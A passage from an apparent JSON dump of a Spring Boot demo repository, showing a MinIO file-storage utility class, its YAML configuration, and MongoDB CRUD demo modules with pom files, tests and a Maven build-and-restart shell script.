@SneakyThrows\n    public boolean putObject(String bucketName, String objectName, InputStream stream,String contentType) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n        \tPutObjectOptions putObjectOptions = new PutObjectOptions(stream.available(), -1);\n        \t/**\n        \t * 开启公共类功能设置setContentType\n        \t */\n        \tif (StringUtils.isNotBlank(contentType)) {\n        \t\tputObjectOptions.setContentType(contentType);\n\t\t\t}\n            minioClient.putObject(bucketName, objectName, stream, putObjectOptions);\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n\t/**\n     * 以流的形式获取一个文件对象\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @return\n     */\n    @SneakyThrows\n    public InputStream getObject(String bucketName, String objectName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                InputStream stream = minioClient.getObject(bucketName, objectName);\n                return stream;\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 以流的形式获取一个文件对象（断点下载）\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param offset     起始字节的位置\n     * @param length     要读取的长度 (可选，如果无值则代表读到文件结尾)\n     * @return\n     */\n    @SneakyThrows\n    public InputStream getObject(String bucketName, String objectName, long offset, Long length) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                InputStream stream = minioClient.getObject(bucketName, objectName, offset, length);\n                return stream;\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 下载并将文件保存到本地\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param fileName   File name\n     * @return\n     */\n    @SneakyThrows\n    public boolean getObject(String bucketName, String objectName, String fileName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                minioClient.getObject(bucketName, objectName, fileName);\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * 删除一个对象\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     */\n    @SneakyThrows\n    public boolean removeObject(String bucketName, String objectName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            minioClient.removeObject(bucketName, objectName);\n            return true;\n        }\n        return false;\n    }\n\n    /**\n     * 删除指定桶的多个文件对象,返回删除错误的对象列表，全部删除成功，返回空列表\n     *\n     * @param bucketName  存储桶名称\n     * @param objectNames 含有要删除的多个object名称的迭代器对象\n     * @return\n     */\n    @SneakyThrows\n    public List<String> removeObject(String bucketName, List<String> objectNames) {\n        List<String> deleteErrorNames = new ArrayList<>();\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            Iterable<Result<DeleteError>> results = minioClient.removeObjects(bucketName, objectNames);\n            for (Result<DeleteError> result : results) {\n                DeleteError error = result.get();\n                deleteErrorNames.add(error.objectName());\n            }\n        }\n        return deleteErrorNames;\n    }\n\n    /**\n     * 生成一个给HTTP GET请求用的presigned URL。\n     * 浏览器/移动端的客户端可以用这个URL进行下载，即使其所在的存储桶是私有的。这个presigned URL可以设置一个失效时间，默认值是7天。\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param expires    失效时间（以秒为单位），默认是7天，不得大于七天\n     * @return\n     */\n    @SneakyThrows\n    public String presignedGetObject(String bucketName, String objectName, Integer expires) {\n        boolean flag = bucketExists(bucketName);\n        String url = \"\";\n        if (flag) {\n            if (expires < 1 || expires > DEFAULT_EXPIRY_TIME) {\n                throw new InvalidExpiresRangeException(expires,\n                        \"expires must be in range of 1 to \" + DEFAULT_EXPIRY_TIME);\n            }\n            url = minioClient.presignedGetObject(bucketName, objectName, expires);\n        }\n        return url;\n    }\n\n    /**\n     * 生成一个给HTTP PUT请求用的presigned URL。\n     * 浏览器/移动端的客户端可以用这个URL进行上传，即使其所在的存储桶是私有的。这个presigned URL可以设置一个失效时间，默认值是7天。\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param expires    失效时间（以秒为单位），默认是7天，不得大于七天\n     * @return\n     */\n    @SneakyThrows\n    public String presignedPutObject(String bucketName, String objectName, Integer expires) {\n        boolean flag = bucketExists(bucketName);\n        String url = \"\";\n        if (flag) {\n            if (expires < 1 || expires > DEFAULT_EXPIRY_TIME) {\n                throw new InvalidExpiresRangeException(expires,\n                        \"expires must be in range of 1 to \" + DEFAULT_EXPIRY_TIME);\n            }\n            url = minioClient.presignedPutObject(bucketName, objectName, expires);\n        }\n        return url;\n    }\n\n    /**\n     * 获取对象的元数据\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @return\n     */\n    @SneakyThrows\n    public ObjectStat statObject(String bucketName, String objectName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            ObjectStat statObject = minioClient.statObject(bucketName, objectName);\n            return statObject;\n        }\n        return null;\n    }\n\n    /**\n     * 文件访问路径\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @return\n     */\n    @SneakyThrows\n    public String getObjectUrl(String bucketName, String objectName) {\n        boolean flag = bucketExists(bucketName);\n        String url = \"\";\n        if (flag) {\n            url = minioClient.getObjectUrl(bucketName, objectName);\n        }\n        return url;\n    }\n\n\n\n    public void downloadFile(String bucketName, String fileName, String originalName, HttpServletResponse response) {\n        try {\n\n            InputStream file = minioClient.getObject(bucketName, fileName);\n            String filename = new String(fileName.getBytes(\"ISO8859-1\"), StandardCharsets.UTF_8);\n            if (StringUtils.isNotEmpty(originalName)) {\n                fileName = originalName;\n            }\n            response.setHeader(\"Content-Disposition\", \"attachment;filename=\" + filename);\n            ServletOutputStream servletOutputStream = response.getOutputStream();\n            int len;\n            byte[] buffer = new byte[1024];\n            while ((len = file.read(buffer)) > 0) {\n                servletOutputStream.write(buffer, 0, len);\n            }\n            servletOutputStream.flush();\n            file.close();\n            servletOutputStream.close();\n        } catch (ErrorResponseException e) {\n            e.printStackTrace();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/resources/application-dev.yml",
    "content": "minio:\n  endpoint: http://web.codepeople.cn/\n  port: 9000\n  accessKey: minioadmin\n  secretKey: minioadmin\n  secure: false\n  bucketName: \"hkeducation\"\n  configDir: \"/opt/minio/data\"\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n\nspring:\n  profiles:\n    active: dev\n  servlet:\n    multipart:\n      maxFileSize: 500MB\n      maxRequestSize: 500MB"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/src/test/java/com/hope/minio/MinioApplicationTest.java",
    "content": "package com.hope.minio;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\nclass MinioApplicationTest {\n\n    @Test\n    void contextLoads() {\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/.gitignore",
    "content": ".idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/README.md",
    "content": "# spring-boot-demo-mongodb\n\n> 此 demo 主要演示了 Spring Boot 如何集成 MongoDB，使用官方的 starter 实现增删改查。\n\n## 注意\n\n作者编写本demo时，MongoDB 最新版本为 `4.1`，使用 docker 运行，下面是所有步骤：\n\n1. 下载镜像：`docker pull mongo:4.1`\n2. 运行容器：`docker run -d -p 27017:27017 -v /Users/yangkai.shen/docker/mongo/data:/data/db --name mongo-4.1 mongo:4.1`\n3. 停止容器：`docker stop mongo-4.1`\n4. 启动容器：`docker start mongo-4.1`\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-mongodb</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-mongodb</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>com.xkcoding</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-mongodb</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-mongodb</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## application.yml\n\n```yaml\nspring:\n  data:\n    mongodb:\n      host: localhost\n      port: 27017\n      database: article_db\nlogging:\n  level:\n    org.springframework.data.mongodb.core: debug\n```\n\n## Article.java\n\n```java\n/**\n * <p>\n * 文章实体类\n * </p>\n *\n * @package: com.xkcoding.mongodb.model\n * @description: 文章实体类\n * @author: yangkai.shen\n * @date: Created in 2018-12-28 16:21\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\npublic class Article {\n    /**\n     * 文章id\n     */\n    @Id\n    private Long id;\n\n    /**\n     * 文章标题\n     */\n    private String title;\n\n    /**\n     * 文章内容\n     */\n    private String content;\n\n    /**\n     * 创建时间\n     */\n    private Date createTime;\n\n    /**\n     * 更新时间\n     */\n    private Date updateTime;\n\n    /**\n     * 点赞数量\n     */\n    private Long thumbUp;\n\n    /**\n     * 访客数量\n     */\n    private Long visits;\n\n}\n```\n\n## ArticleRepository.java\n\n```java\n/**\n * <p>\n * 文章 Dao\n * </p>\n *\n * @package: com.xkcoding.mongodb.repository\n * @description: 文章 Dao\n * @author: yangkai.shen\n * @date: Created in 2018-12-28 16:30\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface ArticleRepository extends MongoRepository<Article, Long> {\n    /**\n     * 根据标题模糊查询\n     *\n     * @param title 标题\n     * @return 满足条件的文章列表\n     */\n    List<Article> findByTitleLike(String title);\n}\n```\n\n## ArticleRepositoryTest.java\n\n```java\n/**\n * <p>\n * 测试操作 MongoDb\n * </p>\n *\n * @package: com.xkcoding.mongodb.repository\n * @description: 测试操作 MongoDb\n * @author: yangkai.shen\n * @date: Created in 2018-12-28 16:35\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class ArticleRepositoryTest extends SpringBootDemoMongodbApplicationTests {\n    @Autowired\n    private ArticleRepository articleRepo;\n\n    @Autowired\n    private MongoTemplate mongoTemplate;\n\n    @Autowired\n    private Snowflake snowflake;\n\n    /**\n     * 测试新增\n     */\n    @Test\n    public void testSave() {\n        Article article = new Article(1L, RandomUtil.randomString(20), RandomUtil.randomString(150), DateUtil.date(), DateUtil\n                .date(), 0L, 0L);\n        articleRepo.save(article);\n        log.info(\"【article】= {}\", JSONUtil.toJsonStr(article));\n    }\n\n    /**\n     * 测试新增列表\n     */\n    @Test\n    public void testSaveList() {\n        List<Article> articles = Lists.newArrayList();\n        for (int i = 0; i < 10; i++) {\n            articles.add(new Article(snowflake.nextId(), RandomUtil.randomString(20), RandomUtil.randomString(150), DateUtil\n                    .date(), DateUtil.date(), 0L, 0L));\n        }\n        articleRepo.saveAll(articles);\n\n        log.info(\"【articles】= {}\", JSONUtil.toJsonStr(articles.stream()\n                .map(Article::getId)\n                .collect(Collectors.toList())));\n    }\n\n    /**\n     * 测试更新\n     */\n    @Test\n    public void testUpdate() {\n        articleRepo.findById(1L).ifPresent(article -> {\n            article.setTitle(article.getTitle() + \"更新之后的标题\");\n            article.setUpdateTime(DateUtil.date());\n            articleRepo.save(article);\n            log.info(\"【article】= {}\", JSONUtil.toJsonStr(article));\n        });\n    }\n\n    /**\n     * 测试删除\n     */\n    @Test\n    public void testDelete() {\n        // 根据主键删除\n        articleRepo.deleteById(1L);\n\n        // 全部删除\n        articleRepo.deleteAll();\n    }\n\n    /**\n     * 测试点赞数、访客数，使用save方式更新点赞、访客\n     */\n    @Test\n    public void testThumbUp() {\n        articleRepo.findById(1L).ifPresent(article -> {\n            article.setThumbUp(article.getThumbUp() + 1);\n            article.setVisits(article.getVisits() + 1);\n            articleRepo.save(article);\n            log.info(\"【标题】= {}【点赞数】= {}【访客数】= {}\", article.getTitle(), article.getThumbUp(), article.getVisits());\n        });\n    }\n\n    /**\n     * 测试点赞数、访客数，使用更优雅/高效的方式更新点赞、访客\n     */\n    @Test\n    public void testThumbUp2() {\n        Query query = new Query();\n        query.addCriteria(Criteria.where(\"_id\").is(1L));\n        Update update = new Update();\n        update.inc(\"thumbUp\", 1L);\n        update.inc(\"visits\", 1L);\n        mongoTemplate.updateFirst(query, update, \"article\");\n\n        articleRepo.findById(1L)\n                .ifPresent(article -> log.info(\"【标题】= {}【点赞数】= {}【访客数】= {}\", article.getTitle(), article.getThumbUp(), article\n                        .getVisits()));\n    }\n\n    /**\n     * 测试分页排序查询\n     */\n    @Test\n    public void testQuery() {\n        Sort sort = Sort.by(\"thumbUp\", \"updateTime\").descending();\n        PageRequest pageRequest = PageRequest.of(0, 5, sort);\n        Page<Article> all = articleRepo.findAll(pageRequest);\n        log.info(\"【总页数】= {}\", all.getTotalPages());\n        log.info(\"【总条数】= {}\", all.getTotalElements());\n        log.info(\"【当前页数据】= {}\", JSONUtil.toJsonStr(all.getContent()\n                .stream()\n                .map(article -> \"文章标题：\" + article.getTitle() + \"点赞数：\" + article.getThumbUp() + \"更新时间：\" + article.getUpdateTime())\n                .collect(Collectors.toList())));\n    }\n\n    /**\n     * 测试根据标题模糊查询\n     */\n    @Test\n    public void testFindByTitleLike() {\n        List<Article> articles = articleRepo.findByTitleLike(\"更新\");\n        log.info(\"【articles】= {}\", JSONUtil.toJsonStr(articles));\n    }\n\n}\n```\n\n## 参考\n\n1. Spring Data MongoDB 官方文档：https://docs.spring.io/spring-data/mongodb/docs/2.1.2.RELEASE/reference/html/\n2. MongoDB 官方镜像地址：https://hub.docker.com/_/mongo\n3. MongoDB 官方快速入门：https://docs.mongodb.com/manual/tutorial/getting-started/\n4. MongoDB 官方文档：https://docs.mongodb.com/manual/"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_mongodb</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-mongodb</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n    <!-- log4j2 -->\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-log4j2</artifactId>\n    </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_mongodb</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-mongodb/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-mongodb</artifactId>\n\t<version>1.0.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-mongodb</name>\n\t<description>Demo project for Spring Boot and mongodb</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t   <groupId>org.springframework.boot</groupId>\n\t\t   <artifactId>spring-boot-starter-data-mongodb</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n    </dependencies>\n\t\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\t\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-mongodb/src/main/java/com/neo/MongoDBApplication.java",
    "content": "package com.neo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class MongoDBApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(MongoDBApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-mongodb/src/main/java/com/neo/model/User.java",
    "content": "package com.neo.model;\n\nimport java.io.Serializable;\n\n/**\n * Created by summer on 2017/5/5.\n */\npublic class User implements Serializable {\n        private static final long serialVersionUID = -3258839839160856613L;\n        private Long id;\n        private String userName;\n        private String passWord;\n\n        public Long getId() {\n                return id;\n        }\n\n        public void setId(Long id) {\n                this.id = id;\n        }\n\n        public String getUserName() {\n                return userName;\n        }\n\n        public void setUserName(String userName) {\n                this.userName = userName;\n        }\n\n        public String getPassWord() {\n                return passWord;\n        }\n\n        public void setPassWord(String passWord) {\n                this.passWord = passWord;\n        }\n\n        @Override\n        public String toString() {\n                return \"UserEntity{\" +\n                        \"id=\" + id +\n                        \", userName='\" + userName + '\\'' +\n                        \", passWord='\" + passWord + '\\'' +\n                        '}';\n        }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-mongodb/src/main/java/com/neo/repository/UserRepository.java",
    "content": "package com.neo.repository;\n\nimport com.neo.model.User;\n\n/**\n * Created by summer on 2017/5/5.\n */\npublic interface UserRepository {\n\n    public void saveUser(User user);\n\n    public User findUserByUserName(String userName);\n\n    public long updateUser(User user);\n\n    public void deleteUserById(Long id);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-mongodb/src/main/java/com/neo/repository/impl/UserRepositoryImpl.java",
    "content": "package com.neo.repository.impl;\n\nimport com.mongodb.client.result.UpdateResult;\nimport com.neo.repository.UserRepository;\nimport com.neo.model.User;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.mongodb.core.MongoTemplate;\nimport org.springframework.data.mongodb.core.query.Criteria;\nimport org.springframework.data.mongodb.core.query.Query;\nimport org.springframework.data.mongodb.core.query.Update;\nimport org.springframework.stereotype.Component;\n\n/**\n * Created by summer on 2017/5/5.\n */\n@Component\npublic class UserRepositoryImpl implements UserRepository {\n\n    @Autowired\n    private MongoTemplate mongoTemplate;\n\n    /**\n     * 创建对象\n     * @param user\n     */\n    @Override\n    public void saveUser(User user) {\n        mongoTemplate.save(user);\n    }\n\n    /**\n     * 根据用户名查询对象\n     * @param userName\n     * @return\n     */\n    @Override\n    public User findUserByUserName(String userName) {\n        Query query=new Query(Criteria.where(\"userName\").is(userName));\n        User user =  mongoTemplate.findOne(query , User.class);\n        return user;\n    }\n\n    /**\n     * 更新对象\n     * @param user\n     */\n    @Override\n    public long updateUser(User user) {\n        Query query=new Query(Criteria.where(\"id\").is(user.getId()));\n        Update update= new Update().set(\"userName\", user.getUserName()).set(\"passWord\", user.getPassWord());\n        //更新查询返回结果集的第一条\n        UpdateResult result =mongoTemplate.updateFirst(query,update,User.class);\n        //更新查询返回结果集的所有\n        // mongoTemplate.updateMulti(query,update,UserEntity.class);\n        if(result!=null)\n            return result.getMatchedCount();\n        else\n            return 0;\n    }\n\n    /**\n     * 删除对象\n     * @param id\n     */\n    @Override\n    public void deleteUserById(Long id) {\n        Query query=new Query(Criteria.where(\"id\").is(id));\n        mongoTemplate.remove(query,User.class);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-mongodb/src/main/resources/application.properties",
    "content": "spring.application.name=spring-boot-mongodb\n\nspring.data.mongodb.uri=mongodb://192.168.0.75:20000/test\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-mongodb/src/test/java/com/neo/MongoDBApplicationTests.java",
    "content": "package com.neo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class MongoDBApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t\tSystem.out.println(\"hello world\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-mongodb/src/test/java/com/neo/repository/UserRepositoryTest.java",
    "content": "package com.neo.repository;\n\nimport com.neo.model.User;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * Created by summer on 2017/5/5.\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class UserRepositoryTest {\n\n    @Autowired\n    private UserRepository userDao;\n\n    @Test\n    public void testSaveUser() throws Exception {\n        User user=new User();\n        user.setId(2l);\n        user.setUserName(\"小明\");\n        user.setPassWord(\"fffooo123\");\n        userDao.saveUser(user);\n    }\n\n    @Test\n    public void findUserByUserName(){\n       User user= userDao.findUserByUserName(\"小明\");\n       System.out.println(\"user is \"+user);\n    }\n\n    @Test\n    public void updateUser(){\n        User user=new User();\n        user.setId(2l);\n        user.setUserName(\"天空\");\n        user.setPassWord(\"fffxxxx\");\n        userDao.updateUser(user);\n    }\n\n    @Test\n    public void deleteUserById(){\n        userDao.deleteUserById(1l);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-multi-mongodb</artifactId>\n\t<version>1.0.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-multi-mongodb</name>\n\t<description>Demo project for Spring Boot and multi mongodb</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-mongodb</artifactId>\n        